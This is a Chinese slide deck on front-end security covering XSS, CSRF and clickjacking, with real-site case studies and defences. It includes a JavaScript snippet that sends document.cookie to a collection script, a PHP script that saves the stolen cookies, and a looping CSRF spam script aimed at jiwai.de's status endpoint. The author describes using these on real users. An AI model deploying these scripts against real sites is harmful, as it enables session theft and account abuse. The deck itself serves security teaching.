You are on page 1of 60

前端安全概览及防范

明城
关于

明城

2
安全第一

3
4
内容提要
• 常见攻击手法
– XSS
– CSRF
– Clickjacking
• 综合案例
• Q&A
我们的航海图
XSS,潘多拉的造盒匠
XSS 不像 CSS 那么优美

跨站脚本攻击(Cross-site scripting,通常简称为 XSS)是一


种网站应用的安全漏洞攻击,允许恶意使用者将程式码注入到
网页上,其他使用者在观看网页时就会受到影响。
典型的 XSS 注入
XSS 的危害

• 盗取用户Cookie
• 修改页面DOM
• 作为其他攻击的跳板
•…
案例

Yupoo 的 XSS 漏洞
漏洞利用原理

用 Yupoo 某处的 XSS 盗取用户 Cookie


信息,然后伪造 Cookie 模拟登陆。
哦也,发现个 XSS

不要小看这个 alert,这表明你已经拥有了对这页面的控制权!
构建攻击脚本
客户端(Javascript)
var img = new Image();
img.src = 'get_cookie.php?var='+encodeURI(document.cookie);

服务器端(PHP)
<?php
if (isset($_GET['var'])) {
file_put_contents('./cookie/'.time().'.txt',
urldecode($_GET['var']));
}
“不是技术问题”的技术问题

事情到这步,
就不仅要看人品,更要看相貌了!
“鱼”上钩了!

于是乎,通过这个XSS漏洞,我们就获取
到了这家伙的Cookie。
伪造 Cookie 并模拟登录
那么,如何防范 XSS

• Filter input,Escape output(过滤输入,转义输出)


• 严格控制 Cookie域
• 禁用客户端脚本 noscript?
淘宝的“混沌之初”
淘宝的解决之道

•“金钟罩”白名单机制
• 人件
参考资源

• http://en.wikipedia.org/wiki/Cross-site_scripting
• http://www.gracecode.com/archives/2517
• http://www.gracecode.com/archives/2491
• http://ha.ckers.org/xss.html
• http://www.xssed.com/
CSRF,苏醒的巨人
学术化的定义

CSRF(Cross Site Request Forgery)是伪造


客户端请求的一种攻击,字面上的意思是跨站
点伪造请求。
CSRF 的危害

借用被攻击者在目标站点上的权限,进行
不被期望的操作。
“杯具”如何发生?

<img src=“http://.../del.php?id=64” />


案例

叽歪的 CSRF Spam


漏洞利用原理

使用客户端脚本自动提交叽歪未经验证的表单
分析代码(HTML)
分析代码(JS 部分)
构建表单

<form action="http://jiwai.de/wo/status/update"
method="post">
<textarea name="jw_status"></textarea>
<input type="submit" />
</form>
测试表单

• 测试表单提交通过
• 同时发现 叽歪 并不区分 GET 和 POST 请

• 第二点是致命的
升级攻击脚本
setInterval(function() {
var img = new Image();
var message = '明城很帅';
var api = 'http://jiwai.de/wo/status/
update';
img.src = api + '?jw_status=' + message +
'&t=' + +new Date();
}, 1000);
剩下就是相貌问题了

“小姑娘,帮叔叔打开个页面好不好?”
软磨硬泡后… 得手了!
又轮到淘宝了…
构建表单,发送 POST
访问后,发生了什么?
然后呢?
那么,如何防范 CSRF

• 正确使用 GET、POST 和 Cookie


• 使用 Referer 判断请求来源
• 在请求中使用 Token
•不要打开陌生的链接
淘宝的解决之道
• 整站追加 _tb_token_

• 严格的来源请求(Referer)
参考资源

• http://en.wikipedia.org/wiki/Cross-site_request_forgery
• http://www.cgisecurity.com/csrf-faq.html
• http://www.80sec.com/csrf-securit.html
• http://www.playhack.net/view.php?id=31
Clickjacking, 隐身的吸血鬼
原理

配合用户无意识的交互行为进行的攻击
案例

Twitter 的 Clickjacking 攻击
“漏洞”利用原理

1. 使用 iframe 嵌入 Twitter 页面并将其透明


度设置为0(即不可见)
2. 然后将“发布”按钮与页面需要用户点击区域
重合
3. 用户本意点击这块区域实际上点击的是
Twitter 的发布按钮
示意图
防范之道

• 考虑页面被嵌入的情况
• 验证请求来源
再次“八卦”下淘宝
其他攻击方式
综合攻击案例
海内的 CSRF 蠕虫攻击
来点“和谐”的
淘宝的案例

问题:如何给第三方应用传送信息,但不泄漏
本站所有信息(Cookie、Session等)?
XSS & CSRF 的“妙用”

• 在第三方插入段淘宝的“JS 脚本”
• 淘宝收到请求,并判断用户登录状态
• 根据登录状态跳转到淘宝页面或者输出对应的数据
路在何方?
Q&A
联系方式

var 明城 = {
Gtalk: i.feelinglucky#gmail.com,
Twitter: @feelinglucky,
Blog: http://www.gracecode.com/
}
'alert(/tHx/)'.replace(/.+/, eval);

You might also like